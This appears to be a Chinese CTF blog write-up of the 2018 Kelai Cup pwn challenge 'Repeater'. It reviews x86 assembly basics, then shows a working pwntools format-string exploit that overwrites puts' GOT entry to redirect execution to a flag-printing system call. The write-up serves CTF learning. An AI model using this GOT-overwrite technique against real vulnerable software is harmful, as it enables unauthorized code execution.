[Pwn]格式化字符串漏洞--2018科来杯 repeater
2018年山东省科来杯Pwn题目Repeater复现
补充一点汇编语言基础知识
对于我这种对汇编语言不怎么感冒的人来说,补充一些相应的汇编语言的基础知识还是很重要的
这里就针对本题中用到的汇编指令进行相应补充
lea与mov的区别:lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax (相当于把地址赋给eax),而不是把ebx+8处的内存地址里的数据赋给eax。
而mov指令则恰恰相反,例如:
mov eax,[ebx+8]则是把内存地址为ebx+8处的数据赋给eax。
cmp(compare)指令进行比较两个操作数的大小,若执行指令后ZF=1
则说明两个数相等,因为zero为1说明结果为0。
jnz结果不为零(或不相等)则转移,jz即零标志为1就跳转。
ZF汇编语言中的PSW标志寄存器中的一位,而JZ则是根据ZF决定是否跳转。
jz=jump if zero,即零标志为1就跳转,一般与cmp连用,用以判断两数是否相等。jz的另一种写法就是je,je=jump if equal,jz和je的作用是完全一样的。
Repeater WP
checksec 一下题目所给文件
运行一下试试看
好像看不出什么
测试一下格式化字符串漏洞
数一下 偏移为4
丢进ida看一下主程序
ctrl 1 看一下字符串,发现敏感字符串
双击 ctrl x 跟进
可以发现程序有call语句调用system,而system就是输出flag地址从而得到flag
但是根据上面的汇编语句或者getflag字段内容可以发现这里存在一个判断语句
2018h = (8216)₁₀,判断 eax是否等于8216 ,ZF=1则两数相等,相应的ZF=1意味着结果为0,即jnz不跳转。随即执行将eax压入栈,再执行call语句调用,即可得到flag。
根据偏移为4 编写exp脚本
from pwn import *
context.log_level = 'DEBUG'
p = process("./repeater")
elf=ELF('./repeater')
puts_got=elf.got['puts']
p.recvuntil("your msg:")
payload = fmtstr_payload(4,{puts_got:0x8048638})
p.sendline(payload)
p.interactive()
运行即可得到flag
上一篇: cve-2019-0708复现
下一篇: CVE-2018-2628漏洞复现